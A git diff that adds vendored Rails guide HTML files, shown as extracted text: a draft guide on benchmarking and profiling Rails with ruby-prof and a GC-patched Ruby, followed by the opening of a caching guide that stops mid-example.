+ + diff --git a/vendor/rails/railties/doc/guides/html/authors.html b/vendor/rails/railties/doc/guides/html/authors.html new file mode 100644 index 00000000..651a208b --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/authors.html @@ -0,0 +1,240 @@ + + + + + About the Authors + + + + + + + + + +
+ +
+

About the Authors

+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/benchmarking_and_profiling.html b/vendor/rails/railties/doc/guides/html/benchmarking_and_profiling.html new file mode 100644 index 00000000..f92ee61d --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/benchmarking_and_profiling.html @@ -0,0 +1,1018 @@ + + + + + Benchmarking and Profiling Rails + + + + + + + + + +
+ + + +
+

Benchmarking and Profiling Rails

+
+
+

This guide covers the benchmarking and profiling tactics/tools of Rails and Ruby in general. By referring to this guide, you will be able to:

+
    +
  • +

    +Understand the various types of benchmarking and profiling metrics +

    +
  • +
  • +

    +Generate performance/benchmarking tests +

    +
  • +
  • +

    +Use GC patched Ruby binary to measure memory usage and object allocation +

    +
  • +
  • +

    +Understand the information provided by Rails inside the log files +

    +
  • +
  • +

    +Learn about various tools facilitating benchmarking and profiling +

    +
  • +
+
+
+

1. Why Benchmark and Profile ?

+
+

Benchmarking and Profiling is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a plesant browsing experience to the end users and cutting cost of unnecessary hardwares is important for any web application.

+

1.1. What is the difference between benchmarking and profiling ?

+

Benchmarking is the process of finding out if a piece of code is slow or not. Whereas profiling is the process of finding out what exactly is slowing down that piece of code.

+
+

2. Using and understanding the log files

+
+

Rails logs files containt basic but very useful information about the time taken to serve every request. A typical log entry looks something like :

+
+
+
Processing ItemsController#index (for 127.0.0.1 at 2008-10-17 00:08:18) [GET]
+  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aHsABjoKQHVzZWR7AA==--83cff4fe0a897074a65335
+  Parameters: {"action"=>"index", "controller"=>"items"}
+Rendering template within layouts/items
+Rendering items/index
+Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items]
+
+

For this section, we're only interested in the last line from that log entry:

+
+
+
Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items]
+
+

This data is fairly straight forward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.

+
+

3. Helper methods

+
+

Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a specific code. The method is called benchmark() in all three components.

+
+
+
Project.benchmark("Creating project") do
+  project = Project.create("name" => "stuff")
+  project.create_manager("name" => "David")
+  project.milestones << Milestone.find(:all)
+end
+
+

The above code benchmarks the multiple statments enclosed inside Project.benchmark("Creating project") do..end block and prints the results inside log files. The statement inside log files will look like:

+
+
+
Creating projectem (185.3ms)
+
+

Please refer to API docs for optional options to benchmark()

+

Similarly, you could use this helper method inside controllers ( Note that it's a class method here ):

+
+
+
def process_projects
+  self.class.benchmark("Processing projects") do
+    Project.process(params[:project_ids])
+    Project.update_cached_projects
+  end
+end
+
+

and views:

+
+
+
<% benchmark("Showing projects partial") do %>
+  <%= render :partial => @projects %>
+<% end %>
+
+
+

4. Performance Test Cases

+
+

Rails provides a very easy to write performance test cases, which look just like the regular integration tests.

+

If you have a look at test/performance/browsing_test.rb in a newly created Rails application:

+
+
+
require 'test_helper'
+require 'performance_test_help'
+
+# Profiling results for each test method are written to tmp/performance.
+class BrowsingTest < ActionController::PerformanceTest
+  def test_homepage
+    get '/'
+  end
+end
+
+

This is an automatically generated example performance test file, for testing performance of homepage(/) of the application.

+

4.1. Modes

+

4.1.1. Benchmarking

+

4.1.2. Profiling

+

4.2. Metrics

+

4.2.1. Process Time

+

CPU Cycles.

+

4.2.2. Memory

+

Memory taken.

+

4.2.3. Objects

+

Objects allocated.

+

4.2.4. GC Runs

+

Number of times the Ruby GC was run.

+

4.2.5. GC Time

+

Time spent running the Ruby GC.

+

4.3. Preparing Ruby and Ruby-prof

+

Before we go ahead, Rails performance testing requires you to build a special Ruby binary with some super powers - GC patch for measuring GC Runs/Time. This process is very straight forward. If you've never compiled a Ruby binary before, you can follow the following steps to build a ruby binary inside your home directory:

+

4.3.1. Compile

+
+
+
[lifo@null ~]$ mkdir rubygc
+[lifo@null ~]$ wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p111.tar.gz
+[lifo@null ~]$ tar -xzvf ruby-1.8.6-p111.tar.gz
+[lifo@null ~]$ cd ruby-1.8.6-p111
+[lifo@null ruby-1.8.6-p111]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
+[lifo@null ruby-1.8.6-p111]$ ./configure --prefix=/Users/lifo/rubygc
+[lifo@null ruby-1.8.6-p111]$ make && make install
+
+

4.3.2. Prepare aliases

+

Add the following lines in your ~/.profile for convenience:

+
+
+
alias gcruby='/Users/lifo/rubygc/bin/ruby'
+alias gcrake='/Users/lifo/rubygc/bin/rake'
+alias gcgem='/Users/lifo/rubygc/bin/gem'
+alias gcirb='/Users/lifo/rubygc/bin/irb'
+alias gcrails='/Users/lifo/rubygc/bin/rails'
+
+

4.3.3. Install rubygems and some basic gems

+
+
+
[lifo@null ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz
+[lifo@null ~]$ tar -xzvf rubygems-1.2.0.tgz
+[lifo@null ~]$ cd rubygems-1.2.0
+[lifo@null rubygems-1.2.0]$ gcruby setup.rb
+[lifo@null rubygems-1.2.0]$ cd ~
+[lifo@null ~]$ gcgem install rake
+[lifo@null ~]$ gcgem install rails
+
+

4.3.4. Install MySQL gem

+
+
+
[lifo@null ~]$ gcgem install mysql
+
+

If this fails, you can try to install it manually:

+
+
+
[lifo@null ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/
+[lifo@null mysql-2.7]$ gcruby extconf.rb --with-mysql-config
+[lifo@null mysql-2.7]$ make && make install
+
+

4.4. Installing Jeremy Kemper's ruby-prof

+

We also need to install Jeremy's ruby-prof gem using our newly built ruby:

+
+
+
[lifo@null ~]$ git clone git://github.com/jeremy/ruby-prof.git
+[lifo@null ~]$ cd ruby-prof/
+[lifo@null ruby-prof (master)]$ gcrake gem
+[lifo@null ruby-prof (master)]$ gcgem install pkg/ruby-prof-0.6.1.gem
+
+

4.5. Generating performance test

+

Rails provides a simple generator for creating new performance tests:

+
+
+
[lifo@null application (master)]$ script/generate performance_test homepage
+
+

This will generate test/performance/homepage_test.rb:

+
+
+
require 'test_helper'
+require 'performance_test_help'
+
+class HomepageTest < ActionController::PerformanceTest
+  # Replace this with your real tests.
+  def test_homepage
+    get '/'
+  end
+end
+
+

Which you can modify to suit your needs.

+

4.6. Running tests

+
+

5. Understanding Performance Tests Outputs

+
+

5.1. Our First Performance Test

+

So how do we profile a request.

+

One of the things that is important to us is how long it takes to render the home page - so let's make a request to the home page. Once the request is complete, the results will be outputted in the terminal.

+

In the terminal run

+
+
+
[User profiling_tester]$ gcruby tests/performance/homepage.rb
+
+

After the tests runs for a few seconds you should see something like this.

+
+
+
HomepageTest#test_homepage (19 ms warmup)
+        process_time: 26 ms
+              memory: 298.79 KB
+             objects: 1917
+
+Finished in 2.207428 seconds.
+
+

Simple but efficient.

+
    +
  • +

    +Process Time refers to amount of time necessary to complete the action. +

    +
  • +
  • +

    +memory is the amount of information loaded into memory +

    +
  • +
  • +

    +object ??? #TODO find a good definition. Is it the amount of objects put into a ruby heap for this process? +

    +
  • +
+

In addition we also gain three types of itemized log files for each of these outputs. They can be found in your tmp directory of your application.

+

The Three types are

+
    +
  • +

    +Flat File - A simple text file with the data laid out in a grid +

    +
  • +
  • +

    +Graphical File - A html colored coded version of the simple text file with hyperlinks between the various methods. Most useful is the bolding of the main processes for each portion of the action. +

    +
  • +
  • +

    +Tree File - A file output that can be use in conjunction with KCachegrind to visualize the process +

    +
  • +
+
+ + + +
+Note +KCachegrind is Linux only. For Mac this means you have to do a full KDE install to have it working in your OS. Which is over 3 gigs in size. For windows there is clone called wincachegrind but it is no longer actively being developed.
+
+

Below are examples for Flat Files and Graphical Files

+

5.2. Flat Files

+
+
Example: Flat File Output Processing Time
+
+

Thread ID: 2279160 +Total: 0.026097

+
+
+
%self     total     self     wait    child    calls  name
+ 6.41      0.06     0.04     0.00     0.02      571  Kernel#===
+ 3.17      0.00     0.00     0.00     0.00      172  Hash#[]
+ 2.42      0.00     0.00     0.00     0.00       13  MonitorMixin#mon_exit
+ 2.05      0.00     0.00     0.00     0.00       15  Array#each
+ 1.56      0.00     0.00     0.00     0.00        6  Logger#add
+ 1.55      0.00     0.00     0.00     0.00       13  MonitorMixin#mon_enter
+ 1.36      0.03     0.00     0.00     0.03        1  ActionController::Integration::Session#process
+ 1.31      0.00     0.00     0.00     0.00       13  MonitorMixin#mon_release
+ 1.15      0.00     0.00     0.00     0.00        8  MonitorMixin#synchronize-1
+ 1.09      0.00     0.00     0.00     0.00       23  Class#new
+ 1.03      0.01     0.00     0.00     0.01        5  MonitorMixin#synchronize
+ 0.89      0.00     0.00     0.00     0.00       74  Hash#default
+ 0.89      0.00     0.00     0.00     0.00        6  Hodel3000CompliantLogger#format_message
+ 0.80      0.00     0.00     0.00     0.00        9  c
+ 0.80      0.00     0.00     0.00     0.00       11  ActiveRecord::ConnectionAdapters::ConnectionHandler#retrieve_connection_pool
+ 0.79      0.01     0.00     0.00     0.01        1  ActionController::Benchmarking#perform_action_without_rescue
+ 0.18      0.00     0.00     0.00     0.00       17  <Class::Object>#allocate
+
+
+

So what do these columns tell us:

+
    +
  • +

    +%self - The percentage of time spent processing the method. This is derived from self_time/total_time +

    +
  • +
  • +

    +total - The time spent in this method and its children. +

    +
  • +
  • +

    +self - The time spent in this method. +

    +
  • +
  • +

    +wait - Time processed was queued +

    +
  • +
  • +

    +child - The time spent in this method's children. +

    +
  • +
  • +

    +calls - The number of times this method was called. +

    +
  • +
  • +

    +name - The name of the method. +

    +
  • +
+

Name can be displayed three seperate ways: + #toplevel - The root method that calls all other methods + MyObject#method - Example Hash#each, The class Hash is calling the method each + * <Object:MyObject>#test - The <> characters indicate a singleton method on a singleton class. Example <Class::Object>#allocate

+

Methods are sorted based on %self. Hence the ones taking the most time and resources will be at the top.

+

So for Array#each which is calling each on the class array. We find that it processing time is 2% of the total and was called 15 times. The rest of the information is 0.00 because the process is so fast it isn't recording times less then 100 ms.

+
+
Example: Flat File Memory Output
+
+

Thread ID: 2279160 +Total: 509.724609

+
+
+
%self     total     self     wait    child    calls  name
+ 4.62     23.57    23.57     0.00     0.00       34  String#split
+ 3.95     57.66    20.13     0.00    37.53        3  <Module::YAML>#quick_emit
+ 2.82     23.70    14.35     0.00     9.34        2  <Module::YAML>#quick_emit-1
+ 1.37     35.87     6.96     0.00    28.91        1  ActionView::Helpers::FormTagHelper#form_tag
+ 1.35      7.69     6.88     0.00     0.81        1  ActionController::HttpAuthentication::Basic::ControllerMethods#authenticate_with_http_basic
+ 1.06      6.09     5.42     0.00     0.67       90  String#gsub
+ 1.01      5.13     5.13     0.00     0.00       27  Array#-
+
+
+

Very similar to the processing time format. The main difference here is that instead of calculating time we are now concerned with the amount of KB put into memory (or is it strictly into the heap) can I get clarification on this minor point?

+

So for <Module::YAML>#quick_emit which is singleton method on the class YAML it uses 57.66 KB in total, 23.57 through its own actions, 6.69 from actions it calls itself and that it was called twice.

+
+
Example: Flat File Objects
+
+

Thread ID: 2279160 +Total: 6537.000000

+
+
+
%self     total     self     wait    child    calls  name
+15.16   1096.00   991.00     0.00   105.00       66  Hash#each
+ 5.25    343.00   343.00     0.00     0.00        4  Mysql::Result#each_hash
+ 4.74   2203.00   310.00     0.00  1893.00       42  Array#each
+ 3.75   4529.00   245.00     0.00  4284.00        1  ActionView::Base::CompiledTemplates#_run_erb_47app47views47layouts47application46html46erb
+ 2.00    136.00   131.00     0.00     5.00       90  String#gsub
+ 1.73    113.00   113.00     0.00     0.00       34  String#split
+ 1.44    111.00    94.00     0.00    17.00       31  Array#each-1
+
+
+
+
+
#TODO Find correct terminology for how to describe what this is exactly profiling as in are there really 2203 array objects or 2203 pointers to array objects?.
+
+

5.3. Graph Files

+

While the information gleamed from flat files is very useful we still don't know which processes each method is calling. We only know how many. This is not true for a graph file. Below is a text representation of a graph file. The actual graph file is an html entity and an example of which can be found Here

+

#TODO (Handily the graph file has links both between it many processes and to the files that actually contain them for debugging. + )

+
+
Example: Graph File
+
+

Thread ID: 21277412

+
+
+
  %total   %self     total      self    children               calls   Name
+/____________________________________________________________________________/
+100.00%   0.00%      8.77      0.00      8.77                   1     #toplevel*
+                     8.77      0.00      8.77                 1/1     Object#run_primes
+/____________________________________________________________________________/
+                     8.77      0.00      8.77                 1/1     #toplevel
+100.00%   0.00%      8.77      0.00      8.77                   1     Object#run_primes*
+                     0.02      0.00      0.02                 1/1     Object#make_random_array
+                     2.09      0.00      2.09                 1/1     Object#find_largest
+                     6.66      0.00      6.66                 1/1     Object#find_primes
+/____________________________________________________________________________/
+                     0.02      0.02      0.00                 1/1     Object#make_random_array
+0.18%     0.18%      0.02      0.02      0.00                   1     Array#each_index
+                     0.00      0.00      0.00             500/500     Kernel.rand
+                     0.00      0.00      0.00             500/501     Array#[]=
+/____________________________________________________________________________/
+
+
+

As you can see the calls have been separated into slices, no longer is the order determined by process time but instead from hierarchy. Each slice profiles a primary entry, with the primary entry's parents being shown above itself and it's children found below. A primary entry can be ascertained by it having values in the %total and %self columns. Here the main entry here have been bolded for connivence.

+

So if we look at the last slice. The primary entry would be Array#each_index. It takes 0.18% of the total process time and it is only called once. It is called from Object#make_random_array which is only called once. It's children are Kernal.rand which is called by it all 500 its times that it was call in this action and Arry#[]= which was called 500 times by Array#each_index and once by some other entry.

+

5.4. Tree Files

+

It's pointless trying to represent a tree file textually so here's a few pretty pictures of it's usefulness

+
KCachegrind Graph

+Graph created by KCachegrind +

+
KCachegrind List

+List created by KCachegrind +

+

#TODO Add a bit more information to this.

+
+

6. Getting to the Point of all of this

+
+

Now I know all of this is a bit dry and academic. But it's a very powerful tool when you know how to leverage it properly. Which we are going to take a look at in our next section

+
+

7. Real Life Example

+
+

7.1. The setup

+

So I have been building this application for the last month and feel pretty good about the ruby code. I'm readying it for beta testers when I discover to my shock that with less then twenty people it starts to crash. It's a pretty simple Ecommerce site so I'm very confused by what I'm seeing. On running looking through my log files I find to my shock that the lowest time for a page run is running around 240 ms. My database finds aren't the problems so I'm lost as to what is happening to cause all this. Lets run a benchmark.

+
+
+
class HomepageTest < ActionController::PerformanceTest
+  # Replace this with your real tests.
+  def test_homepage
+    get '/'
+  end
+end
+
+
+
Example: Output
+
+
HomepageTest#test_homepage (115 ms warmup)
+        process_time: 591 ms
+        memory: 3052.90 KB
+        objects: 59471
+
+

Obviously something is very very wrong here. 3052.90 Kb to load my minimal homepage. For Comparison for another site running well I get this for my homepage test.

+
+
Example: Default
+
+
HomepageTest#test_homepage (19 ms warmup)
+        process_time: 26 ms
+              memory: 298.79 KB
+             objects: 1917
+
+

that over a factor of ten difference. Lets look at our flat process time file to see if anything pops out at us.

+
+
Example: Process time
+
+
20.73      0.39     0.12     0.00     0.27      420  Pathname#cleanpath_aggressive
+17.07      0.14     0.10     0.00     0.04     3186  Pathname#chop_basename
+ 6.47      0.06     0.04     0.00     0.02     6571  Kernel#===
+ 5.04      0.06     0.03     0.00     0.03      840  Pathname#initialize
+ 5.03      0.05     0.03     0.00     0.02        4  ERB::Compiler::ExplicitScanner#scan
+ 4.51      0.03     0.03     0.00     0.00     9504  String#==
+ 2.94      0.46     0.02     0.00     0.44     1393  String#gsub
+ 2.66      0.09     0.02     0.00     0.07      480  Array#each
+ 2.46      0.01     0.01     0.00     0.00     3606  Regexp#to_s
+
+

Yes indeed we seem to have found the problem. Pathname#cleanpath_aggressive is taking nearly a quarter our process time and Pathname#chop_basename another 17%. From here I do a few more benchmarks to make sure that these processes are slowing down the other pages. They are so now I know what I must do. If we can get rid of or shorten these processes we can make our pages run much quicker.

+

Now both of these are main ruby processes so are goal right now is to find out what other process is calling them. Glancing at our Graph file I see that #cleanpath is calling #cleanpath_aggressive. #cleanpath is being called by String#gsub and from there some html template errors. But my page seems to be rendering fine. why would it be calling template errors. I'm decide to check my object flat file to see if I can find any more information.

+
+
Example: Objects Created
+
+
20.74  34800.00 12324.00     0.00 22476.00      420  Pathname#cleanpath_aggressive
+16.79  18696.00  9978.00     0.00  8718.00     3186  Pathname#chop_basename
+11.47  13197.00  6813.00     0.00  6384.00      480  Array#each
+ 8.51  41964.00  5059.00     0.00 36905.00     1386  String#gsub
+ 6.07   3606.00  3606.00     0.00     0.00     3606  Regexp#to_s
+
+

nope nothing new here. Lets look at memory usage

+
+
Example: Memory Consuption
+
+
 40.17   1706.80  1223.70     0.00   483.10     3186  Pathname#chop_basename
+ 14.92    454.47   454.47     0.00     0.00     3606  Regexp#to_s
+  7.09   2381.36   215.99     0.00  2165.37     1386  String#gsub
+  5.08    231.19   154.73     0.00    76.46      420  Pathname#prepend_prefix
+  2.34     71.35    71.35     0.00     0.00     1265  String#initialize_copy
+
+

Ok so it seems Regexp#to_s is the second costliest process. At this point I try to figure out what could be calling a regular expression cause I very rarely use them. Going over my standard layout I discover at the top.

+
+
+
<%if request.env["HTTP_USER_AGENT"].match(/Opera/)%>
+<%= stylesheet_link_tag "opera" %>
+<% end %>
+
+

That's wrong. I mistakenly am using a search function for a simple compare function. Lets fix that.

+
+
+
<%if request.env["HTTP_USER_AGENT"] =~ /Opera/%>
+<%= stylesheet_link_tag "opera" %>
+<% end %>
+
+

I'll now try my test again.

+
+
+
process_time: 75 ms
+              memory: 519.95 KB
+             objects: 6537
+
+

Much better. The problem has been solved. Now I should have realized earlier due to the String#gsub that my problem had to be with reqexp serch function but such knowledge comes with time. Looking through the mass output data is a skill.

+
+

8. Get Yourself a Game Plan

+
+

You end up dealing with a large amount of data whenever you profile an application. It's crucial to use a rigorous approach to analyzing your application's performance else fail miserably in a vortex of numbers. This leads us to -

+

8.1. The Analysis Process

+

I’m going to give an example methodology for conducting your benchmarking and profiling on an application. It is based on your typical scientific method.

+

For something as complex as Benchmarking you need to take any methodology with a grain of salt but there are some basic strictures that you can depend on.

+

Formulate a question you need to answer which is simple, tests the smallest measurable thing possible, and is exact. This is typically the hardest part of the experiment. From there some steps that you should follow are.

+
    +
  • +

    +Develop a set of variables and processes to measure in order to answer this question! +

    +
  • +
  • +

    +Profile based on the question and variables. Key problems to avoid when designing this experiment are: +

    +
      +
    • +

      +Confounding: Test one thing at a time, keep everything the same so you don't poison the data with uncontrolled processes. +

      +
    • +
    • +

      +Cross Contamination: Make sure that runs from one test do not harm the other tests. +

      +
    • +
    • +

      +Steady States: If you’re testing long running process. You must take the ramp up time and performance hit into your initial measurements. +

      +
    • +
    • +

      +Sampling Error: Data should perform have a steady variance or range. If you get wild swings or sudden spikes, etc. then you must either account for the reason why or you have a sampling error. +

      +
    • +
    • +

      +Measurement Error: Aka Human error, always go through your calculations at least twice to make sure there are no mathematical errors. . +

      +
    • +
    +
  • +
  • +

    +Do a small run of the experiment to verify the design. +

    +
  • +
  • +

    +Use the small run to determine a proper sample size. +

    +
  • +
  • +

    +Run the test. +

    +
  • +
  • +

    +Perform the analysis on the results and determine where to go from there. +

    +
  • +
+

Note: Even though we are using the typical scientific method; developing a hypothesis is not always useful in terms of profiling.

+
+

9. Other Profiling Tools

+
+

There are a lot of great profiling tools out there. Some free, some not so free. This is a sort list detailing some of them.

+

9.1. httperf

+ +

A necessary tool in your arsenal. Very useful for load testing your website.

+

#TODO write and link to a short article on how to use httperf. Anybody have a good tutorial availble.

+

9.2. Rails Analyzer

+

The Rails Analyzer project contains a collection of tools for Rails. It's open source and pretty speedy. It's not being actively worked on but is still contains some very useful tools.

+
    +
  • +

    +The Production Log Analyzer examines Rails log files and gives back a report. It also includes action_grep which will give you all log results for a particular action. +

    +
  • +
  • +

    +The Action Profiler similar to Ruby-Prof profiler. +

    +
  • +
  • +

    +rails_stat which gives a live counter of requests per second of a running Rails app. +

    +
  • +
  • +

    +The SQL Dependency Grapher allows you to visualize the frequency of table dependencies in a Rails application. +

    +
  • +
+

Their project homepage can be found at http://rails-analyzer.rubyforge.org/

+

The one major caveat is that it needs your log to be in a different format from how rails sets it up specifically SyslogLogger.

+

9.2.1. SyslogLogger

+

SyslogLogger is a Logger work-alike that logs via syslog instead of to a file. You can add SyslogLogger to your Rails production environment to aggregate logs between multiple machines.

+ +

If you don't have access to your machines root system or just want something a bit easier to implement there is also a module developed by Geoffrey Grosenbach

+

9.2.2. A Hodel 3000 Compliant Logger for the Rest of Us

+

Directions taken from +link to module file

+

Just put the module in your lib directory and add this to your environment.rb in it's config portion.

+
+
+
require 'hodel_3000_compliant_logger'
+config.logger = Hodel3000CompliantLogger.new(config.log_path)
+
+

It's that simple. Your log output on restart should look like this.

+
+
Example: Hodel 3000 Example
+
+
Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Parameters: {"action"=>"shipping", "controller"=>"checkout"}
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;36;1mBook Columns (0.003155)   SHOW FIELDS FROM `books`
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;35;1mBook Load (0.000881)   SELECT * FROM `books` WHERE (`books`.`id` = 1 AND (`books`.`sold` = 1)) 
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;36;1mShippingAddress Columns (0.002683)   SHOW FIELDS FROM `shipping_addresses`
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;35;1mBook Load (0.000362)   SELECT ounces FROM `books` WHERE (`books`.`id` = 1) 
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Rendering template within layouts/application
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Rendering checkout/shipping
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;36;1mBook Load (0.000548)   SELECT * FROM `books`
+WHERE (sold = 0) LIMIT 3
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;35;1mAuthor Columns (0.002571)   SHOW FIELDS FROM `authors`
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Author Load (0.000811)   SELECT * FROM `authors` WHERE (`authors`.`id` = 1) 
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Rendered store/_new_books (0.01358)
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Completed in 0.37297 (2 reqs/sec) | Rendering: 0.02971 (7%) | DB: 0.01697 (4%) | 200 OK [https://secure.jeffbooks/checkout/shipping]
+
+

9.3. Palmist

+

An open source mysql query analyzer. Full featured and easy to work with. Also requires Hodel 3000 +http://www.flyingmachinestudios.com/projects/

+

9.4. New Relic

+ +

Pretty nifty performance tools, pricey though. They do have a basic free +service both for when in development and when you put your application into production. Very simple installation and signup.

+

#TODO more in-depth without being like an advertisement.

+

9.4.1. Manage

+

Like new relic a production monitoring tool.

+
+

10. Changelog

+
+ +
    +
  • +

    +October 17, 2008: First revision by Pratik +

    +
  • +
  • +

    +September 6, 2008: Initial version by Matthew Bergman <MzbPhoto@gmail.com> +

    +
  • +
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/caching_with_rails.html b/vendor/rails/railties/doc/guides/html/caching_with_rails.html new file mode 100644 index 00000000..06b82eb9 --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/caching_with_rails.html @@ -0,0 +1,583 @@ + + + + + Caching with Rails: An overview + + + + + + + + + +
+ + + +
+

Caching with Rails: An overview

+
+
+

Everyone caches. This guide will teach you what you need to know about +avoiding that expensive round-trip to your database and returning what you +need to return to those hungry web clients in the shortest time possible.

+
+
+

1. Basic Caching

+
+

This is an introduction to the three types of caching techniques that Rails +provides by default without the use of any third party plugins.

+

To get started make sure config.action_controller.perform_caching is set +to true for your environment. This flag is normally set in the +corresponding config/environments/*.rb and caching is disabled by default +there for development and test, and enabled for production.

+
+
+
config.action_controller.perform_caching = true
+
+

1.1. Page Caching

+

Page caching is a Rails mechanism which allows the request for a generated +page to be fulfilled by the webserver, without ever having to go through the +Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be +applied to every situation (such as pages that need authentication) and since +the webserver is literally just serving a file from the filesystem, cache +expiration is an issue that needs to be dealt with.

+

So, how do you enable this super-fast cache behavior? Simple, let's say you +have a controller called ProductsController and a list action that lists all +the products

+
+
+
class ProductsController < ActionController
+
+  caches_page :index
+
+  def index; end
+
+end
+
+

The first time anyone requests products/index, Rails will generate a file +called index.html and the webserver will then look for that file before it +passes the next request for products/index to your Rails application.

+

By default, the page cache directory is set to Rails.public_path (which is +usually set to RAILS_ROOT + "/public") and this can be configured by +changing the configuration setting ActionController::Base.page_cache_directory. Changing the +default from /public helps avoid naming conflicts, since you may want to +put other static html in /public, but changing this will require web +server reconfiguration to let the web server know where to serve the +cached files from.

+

The Page Caching mechanism will automatically add a .html exxtension to +requests for pages that do not have an extension to make it easy for the +webserver to find those pages and this can be configured by changing the +configuration setting ActionController::Base.page_cache_extension.

+

In order to expire this page when a new product is added we could extend our +example controler like this:

+
+
+
class ProductsController < ActionController
+
+  caches_page :list
+
+  def list; end
+
+  def create
+    expire_page :action => :list
+  end
+
+end
+
+

If you want a more complicated expiration scheme, you can use cache sweepers +to expire cached objects when things change. This is covered in the section on Sweepers.

+

1.2. Action Caching

+

One of the issues with Page Caching is that you cannot use it for pages that +require to restrict access somehow. This is where Action Caching comes in. +Action Caching works like Page Caching except for the fact that the incoming +web request does go from the webserver to the Rails stack and Action Pack so +that before filters can be run on it before the cache is served, so that +authentication and other restrictions can be used while still serving the +result of the output from a cached copy.

+

Clearing the cache works in the exact same way as with Page Caching.

+

Let's say you only wanted authenticated users to edit or create a Product +object, but still cache those pages:

+
+
+
class ProductsController < ActionController
+
+  before_filter :authenticate, :only => [ :edit, :create ]
+  caches_page :list
+  caches_action :edit
+
+  def list; end
+
+  def create
+    expire_page :action => :list
+    expire_action :action => :edit
+  end
+
+  def edit; end
+
+end
+
+

And you can also use :if (or :unless) to pass a Proc that specifies when the +action should be cached. Also, you can use :layout ⇒ false to cache without +layout so that dynamic information in the layout such as logged in user info +or the number of items in the cart can be left uncached. This feature is +available as of Rails 2.2.

+

[More: more examples? Walk-through of Action Caching from request to response? + Description of Rake tasks to clear cached files? Show example of + subdomain caching? Talk about :cache_path, :if and assing blocks/Procs + to expire_action?]

+

1.3. Fragment Caching

+

Life would be perfect if we could get away with caching the entire contents of +a page or action and serving it out to the world. Unfortunately, dynamic web +applications usually build pages with a variety of components not all of which +have the same caching characteristics. In order to address such a dynamically +created page where different parts of the page need to be cached and expired +differently Rails provides a mechanism called Fragment Caching.

+

Fragment Caching allows a fragment of view logic to be wrapped in a cache +block and served out of the cache store when the next request comes in.

+

As an example, if you wanted to show all the orders placed on your website +in real time and didn't want to cache that part of the page, but did want +to cache the part of the page which lists all products available, you +could use this piece of code:

+
+
+
<% Order.find_recent.each do |o| %>
+  <%= o.buyer.name %> bought <% o.product.name %>
+<% end %>
+
+<% cache do %>
+  All available products:
+  <% Product.find(:all).each do |p| %>
+    <%= link_to p.name, product_url(p) %>
+  <% end %>
+<% end %>
+
+

The cache block in our example will bind to the action that called it and is +written out to the same place as the Action Cache, which means that if you +want to cache multiple fragments per action, you should provide an action_suffix to the cache call:

+
+
+
<% cache(:action => 'recent', :action_suffix => 'all_products') do %>
+  All available products:
+
+

and you can expire it using the expire_fragment method, like so:

+
+
+
expire_fragment(:controller => 'producst', :action => 'recent', :action_suffix => 'all_products)
+
+

1.4. Sweepers

+

Cache sweeping is a mechanism which allows you to get around having a ton of +expire_{page,action,fragment} calls in your code by moving all the work +required to expire cached content into a ActionController::Caching::Sweeper +class that is an Observer and looks for changes to an object via callbacks, +and when a change occurs it expires the caches associated with that object n +an around or after filter.

+

Continuing with our Product controller example, we could rewrite it with a +sweeper such as the following:

+
+
+
class StoreSweeper < ActionController::Caching::Sweeper
+  observe Product # This sweeper is going to keep an eye on the Post model
+
+  # If our sweeper detects that a Post was created call this
+  def after_create(product)
+          expire_cache_for(product)
+  end
+
+  # If our sweeper detects that a Post was updated call this
+  def after_update(product)
+          expire_cache_for(product)
+  end
+
+  # If our sweeper detects that a Post was deleted call this
+  def after_destroy(product)
+          expire_cache_for(product)
+  end
+
+  private
+  def expire_cache_for(record)
+    # Expire the list page now that we added a new product
+    expire_page(:controller => '#{record}', :action => 'list')
+
+    # Expire a fragment
+    expire_fragment(:controller => '#{record}', :action => 'recent', :action_suffix => 'all_products')
+  end
+end
+
+

Then we add it to our controller to tell it to call the sweeper when certain +actions are called. So, if we wanted to expire the cached content for the +list and edit actions when the create action was called, we could do the +following:

+
+
+
class ProductsController < ActionController
+
+  before_filter :authenticate, :only => [ :edit, :create ]
+  caches_page :list
+  caches_action :edit
+  cache_sweeper :store_sweeper, :only => [ :create ]
+
+  def list; end
+
+  def create
+    expire_page :action => :list
+    expire_action :action => :edit
+  end
+
+  def edit; end
+
+end
+
+

1.5. SQL Caching

+

Query caching is a Rails feature that caches the result set returned by each +query so that if Rails encounters the same query again for that request, it +will used the cached result set as opposed to running the query against the +database again.

+

For example:

+
+
+
class ProductsController < ActionController
+
+  before_filter :authenticate, :only => [ :edit, :create ]
+  caches_page :list
+  caches_action :edit
